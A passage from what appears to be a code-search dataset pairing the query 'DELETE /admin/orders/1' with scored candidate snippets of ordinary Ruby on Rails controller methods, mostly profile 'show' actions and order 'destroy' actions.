@player.user\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player }\n end\n end", "title": "" }, { "docid": "64c3c69da633b6ea43509fa657b8e3f7", "score": "0.6715337", "text": "def show\n if current_user\n @profile = Profile.where(user_id: @currentUser.id)\n @profileUpdate = Profile.where(user_id: @currentUser.id).first\n else\n no_current_user\n end\n end", "title": "" }, { "docid": "f75e4c3942cd8efd0a8bea119ada55a6", "score": "0.6687349", "text": "def show\n @player = Player.find_by_id(params[:id])\n respond_with @player\n end", "title": "" }, { "docid": "8796b04531642fc7b8301ead681c7c1a", "score": "0.66828537", "text": "def show\n @user_profile = UserProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_profile }\n end\n end", "title": "" }, { "docid": "8796b04531642fc7b8301ead681c7c1a", "score": "0.66828537", "text": "def show\n @user_profile = UserProfile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_profile }\n end\n end", "title": "" }, { "docid": "dae55fd310d6fb5f1b51fe2778a33759", "score": "0.66786915", "text": "def show\n cur_user_prof = !current_user.nil? ? current_user.profile : nil\n if cur_user_prof.id != @profile.id\n render :file => \"#{Rails.root}/public/404.html\", :status => 404\n return\n end\n end", "title": "" }, { "docid": "9365c7192b2914f13e0b3be11e96fb55", "score": "0.6678431", "text": "def show\n @player_stat = PlayerStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_stat }\n end\n end", "title": "" }, { "docid": "ebed8a42a19700d464ea422a6a54d492", "score": "0.6659688", "text": "def show\n @profile = @user.profile\n @page_title = @user.display_name\n respond_to do |format|\n format.html { render :template => 'profiles/show' }\n end\n end", "title": "" }, { "docid": "25945b0c61a1fba8c6533419b1ae0a3e", "score": "0.6659247", "text": "def show\n @profile = Profile.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "14c62fab706e4b2b92257c9732d20e2f", "score": "0.66589123", "text": "def show\n @profiles = Profile.where(user_id: params[:id])\n\n render json: @profiles\n end", "title": "" }, { "docid": "b751f0ea287ff2ba39a437deb0b64edb", "score": "0.66586775", "text": "def show\n @profile_picture = @owner.profile_picture.last[\"url\"] if @owner.profile_picture?\n end", "title": "" }, { "docid": "9dcef051cfe97e00d650d63f09030ef4", "score": "0.6657469", "text": "def show\n @profile = current_user.profile\nend", "title": "" }, { "docid": "d970cf08b690f751c7d352222346ec8d", "score": "0.6656943", "text": "def show\n @player = Player.find(params[:id])\n @team = Team.find(@player.team_id)\n end", "title": "" }, { "docid": "35576682465ee5c2861a3c90c0573a4b", "score": "0.6651046", "text": "def profile\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "35576682465ee5c2861a3c90c0573a4b", "score": "0.6651046", "text": "def profile\n @user = User.find(params[:id])\n end", "title": "" }, { "docid": "7236af6e516c6cfd5104900dbb7362af", "score": "0.6647818", "text": "def show\n \t\t# Compruebo si existe una sesión de usuario.\n \t\tif session[:user]\n \t\t# Busco en la tabla de usuarios uno con el id de esa sesión existente.\n \t# Se le asigna el valor de la busqueda a la variable de instancia.\t\n \t\t\t@user = User.find(session[:user])\n \t\t\trender \"profile\"\n \t\tend\n \tend", "title": "" }, { "docid": "a4d249097fd7a5b6ab3d702fa40fa88f", "score": "0.66435266", "text": "def show\n @userprofile = Userprofile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @userprofile }\n end\n end", "title": "" }, { "docid": "39198fb3418de7f4e2fdffd68c95084a", "score": "0.6643036", "text": "def show\n redirect_to :action => :show_with_username, :username => Profile.find(params[:id]).username\n end", "title": "" }, { "docid": "c9517ca85efe7745f21d89b45c7f811d", "score": "0.66427606", "text": "def profile\n @user = User.find_by_name( params[:id] )\n end", "title": "" }, { "docid": "08b349728bae69bc45b52f36c2cdbf65", "score": "0.6638821", "text": "def show_user(id = nil)\n if id.nil?\n request(ShowOneselfRequest, ShowUserResponse)\n else\n request(ShowUserRequest, ShowUserResponse, :id => id)\n end\n end", "title": "" }, { "docid": "c44ec251e9ee48f01edcf09cc6dad4d0", "score": "0.66385925", "text": "def find_profile # :nodoc:\n @profile = current_user.profiles.find(params[:id])\n end", "title": "" }, { "docid": "629f90fe07f78ba267e7b1ac76a65e81", "score": "0.6637695", "text": "def show\n @user = User.find(params[:id])\n @title = \"Users profile\"\n end", "title": "" }, { "docid": "8a9533a650f85d5e8c84a7599025df44", "score": "0.6631533", "text": "def show\n respond_with(profile)\n end", "title": "" }, { "docid": "d81eac111769aa1780eb326e809466f8", "score": "0.6628949", "text": "def profile\n user = User.find(params[:id])\n \n end", "title": "" }, { "docid": "a3a6df0b4c0ae996b7b103d14814808f", "score": "0.66283333", "text": "def show\n @profile = Profile.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "863f63b0df4049aae9e51cf288fc6d46", "score": "0.66264814", "text": "def show\n\t\t# find current user profile\n\t\t@current_profile = Profile.find_by(user_id: params[:id])\n\t\t# find current user and set instance variables\n\t\t# for user info (email and id)\n\t\t@current_user_profile = User.find(params[:id])\n\t\t@email = @current_user_profile.email\n\t\t@user_id = @current_user_profile.id\n\n\t\t# get all wall posts on current profile\n\t\t@all_wall_posts = Posting.where(profile_id: @current_profile.id)\n\n\t\t# get all friends of user\n\t\tfriends = @current_user_profile.friends.to_a.uniq\n\t\t\n\t\t# gets user names of friends\n\t\t@friends = []\n\t\tfriends.each do |x|\n\t\t\t@friends << Profile.find_by(user_id: x).user_name\n\t\tend\n\tend", "title": "" }, { "docid": "9df13a34f94740595861c6aa0e93377a", "score": "0.66233534", "text": "def show\n if current_user\n @profile = Profile.find_by(id: params[:id])\n if @profile.nil? # change to 404\n redirect_to root_path\n end\n else\n redirect_to login_path\n end\n end", "title": "" }, { "docid": "3aa7eca8c2020b9c13a5836c5f485590", "score": "0.662057", "text": "def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "3aa7eca8c2020b9c13a5836c5f485590", "score": "0.662057", "text": "def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "3aa7eca8c2020b9c13a5836c5f485590", "score": "0.662057", "text": "def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "3aa7eca8c2020b9c13a5836c5f485590", "score": "0.662057", "text": "def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "3aa7eca8c2020b9c13a5836c5f485590", "score": "0.662057", "text": "def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" }, { "docid": "3aa7eca8c2020b9c13a5836c5f485590", "score": "0.662057", "text": "def show\n @profile = Profile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profile }\n end\n end", "title": "" } ]
1107ac52d62b889265c9634e6bc77c6f
DELETE /admin/orders/1 DELETE /admin/orders/1.json
[ { "docid": "661404d1f8a4267a6c44c0320ef8e217", "score": "0.0", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "ac23039e82f793639ed84f35b6bfc003", "score": "0.7466287", "text": "def destroy\n @v1_order = V1::Order.find(params[:id])\n @v1_order.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "40ec512a4e297c75b16b7908b49ea0ac", "score": "0.7403553", "text": "def destroy\n\t\t@admin_order = Admin::Order.find(params[:id])\n\t\t@admin_order.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to admin_orders_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "title": "" }, { "docid": "0334ab6e3d5af0093df7dce2e3a21db6", "score": "0.7356501", "text": "def destroy\n @order_item.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end", "title": "" }, { "docid": "b8b68786b200bf543cbbdd6c924261b7", "score": "0.7323909", "text": "def destroy\n @order1 = Order1.find(params[:id])\n @order1.destroy\n\n respond_to do |format|\n format.html { redirect_to order1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ddf63be644bdb25be3e542404b7892a", "score": "0.7291646", "text": "def destroy\n #@order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8d7f50a50c09c3a84e0efc7ff3f8a1f4", "score": "0.7274859", "text": "def destroy\n order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0623922b7e2213dc1ffd93c3e5515252", "score": "0.7269566", "text": "def destroy\n @order.destroy\n respond_to do |format|\n render json: {success: true, status: :ok} \n end\n end", "title": "" }, { "docid": "ca454ca1a94db2b5362158a4ae9c7af7", "score": "0.7262508", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_orders_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "93a49aa2db97efc83573b47f910ca97b", "score": "0.7236782", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: t('orders.deleted') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c69a59510b1bbbcbceb76a62e326685", "score": "0.72304773", "text": "def destroy\n @allorder.destroy\n respond_to do |format|\n format.html { redirect_to allorders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "917ceb96c097fa42a404d6fb7307118c", "score": "0.7208504", "text": "def destroy\n @updateallorder.destroy\n respond_to do |format|\n format.html { redirect_to updateallorders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c19e2cb614263c6b41644c259d1ca82b", "score": "0.72062856", "text": "def destroy\n @order = Order.find(params[:id])\n # @order.destroy\n \n respond_to do |format|\n format.html { redirect_to @order, notice: 'Deletion of orders not allowed.' }\n format.json { render json: @order.errors, status: :method_not_allowed }\n end\n end", "title": "" }, { "docid": "8dc94b23065674b022e7291a2d1c914e", "score": "0.720534", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8dc94b23065674b022e7291a2d1c914e", "score": "0.720534", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8dc94b23065674b022e7291a2d1c914e", "score": "0.720534", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8dc94b23065674b022e7291a2d1c914e", "score": "0.720534", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8dc94b23065674b022e7291a2d1c914e", "score": "0.720534", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "136ccedd1b56cb71e1411dab08e51c25", "score": "0.72033083", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb4695bd9dd3d8b2d2a525f87249fbc", "score": "0.72022676", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "addb85f530fdd3b60d92e9d1b552eb33", "score": "0.72011155", "text": "def destroy\n @order = Order.find(params[:id])\n\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4aefb613fc362267171108af488b1996", "score": "0.71903676", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to farm_orders_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "59c55bd5abbe3c9269f5b3a0cc7265fc", "score": "0.71690255", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "18a3ccf952c4a0ac6d29df1e646a0660", "score": "0.7163139", "text": "def destroy\n #Safety catch: only admin can destroy!\n @order = Order.find(params[:id])\n \n\n respond_to do |format|\n format.html { redirect_to(orders_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e464b7fdbccc144ea4c8db93e33dc1a1", "score": "0.7130554", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_orders_url, notice: 'Ordem de serviço excluída com sucesso.' }\n end\n end", "title": "" }, { "docid": "4ae59b805b034c963d702ce8b4d10744", "score": "0.71226436", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "cf7f276d9a19ea5fd92a8c12162ee47a", "score": "0.71125525", "text": "def destroy\n @order1.destroy\n respond_to do |format|\n format.html { redirect_to order1s_url, notice: 'Order1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2165bdb2dc35bffce103572b17afd133", "score": "0.7100287", "text": "def destroy\n authorize! :manage, :all\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to(orders_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "1a18d0eb2377550d80dda706fb2da601", "score": "0.70937306", "text": "def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url, notice: I18n.t('orders.successfully_deleted') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d3f51c57776c8f61e97a6253e3346f83", "score": "0.7073081", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Замовлення скасовано.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cd71fa2a09f1526312ea55c27236ea33", "score": "0.70650864", "text": "def destroy\n @order.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "f9833826711229971af1a58fddb8ce9d", "score": "0.70577013", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'La transacción se ha eliminado con exito' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "129a0d3a8d2a816172ebaa9ab872856b", "score": "0.7049857", "text": "def destroy\n # Admin only\n if !current_user_is_admin\n respond_to do |format|\n format.html { redirect_to items_path }\n end\n return\n end\n\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.7029667", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" }, { "docid": "2b8f32c6681a3a54897de5dd410cc118", "score": "0.7026743", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Заказ успешно удален.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4b989207ffe8a050d10d931f8bacb78b", "score": "0.70234793", "text": "def destroy\n @order.destroy\n if current_user.admin?\n redirect_path = orders_path\n else\n redirect_path = new_order_url\n end\n respond_to do |format|\n format.html { redirect_to redirect_path, notice: t(\"activerecord.models.order\") + t(\"messages.order.destroyed\") }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8a6d5192a3327dadba49bf4d03c14168", "score": "0.70217377", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Заявка была успешно удалена.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c49f7c1cad54771c268b855c5756aa45", "score": "0.7016579", "text": "def destroy\n @custom_cake_order.destroy\n respond_to do |format|\n format.html { redirect_to custom_cake_orders_url, notice: 'Custom cake order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d3ee21b6fe00451df85bfda6bd9baedc", "score": "0.70157576", "text": "def destroy\n @order.destroy\n redirect_to admin_orders_path(current_user), notice: '删除订单成功.'\n end", "title": "" }, { "docid": "c815cdd9c627c4012e61ef9bda664ee8", "score": "0.7012697", "text": "def destroy\n @orderdetail.destroy\n respond_to do |format|\n format.html { redirect_to orderdetails_url}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8fca114bc7c9fa6985cc46f63c8253e1", "score": "0.70101076", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html do\n redirect_to admin_orders_url,\n notice: 'Order was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cb2fea86a8168a9d2d347710eace85e5", "score": "0.70079964", "text": "def destroy\n @order = Order.find(:conditions => [\"id = ? and shopify_owner = ?\", params[:id],shop_session.url])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6fde695a692c0b92f48c79bf4bb8eb0d", "score": "0.6992164", "text": "def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url, notice: 'Информация о заказе была успешно удалена.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2d8800fc8acb42d1af4f070f387b4307", "score": "0.6974868", "text": "def destroy\n begin\n @order.destroy\n respond_to do |format|\n format.html { redirect_to admin_orders_url, notice: t('messages.deleted', model:Order.model_name.human) }\n format.json { head :no_content }\n end\n rescue ActiveRecord::InvalidForeignKey => e\n flash[:error] = t 'errors.messages.delete_fail.being_used', model:@order.code\n flash[:error_details] = e\n redirect_to [:admin, @order]\n rescue ActiveRecord::StatementInvalid => e\n flash[:error] = t 'errors.messages.ops'\n flash[:error_details] = e\n redirect_to [:admin, @order]\n end\n end", "title": "" }, { "docid": "3e23b5a0893e0244abb7e2b90c9a9bcf", "score": "0.6972041", "text": "def destroy\n @customer_order.destroy\n respond_to do |format|\n format.html { redirect_to admin_url, notice: 'Customer order was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "63e5259e0ee65a3fd7c98c504e7a4910", "score": "0.6966853", "text": "def destroy\n @purchase_order.destroy\n respond_to do |format|\n format.html { redirect_to admin_purchase_orders_url, notice: 'Purchase order was successfully 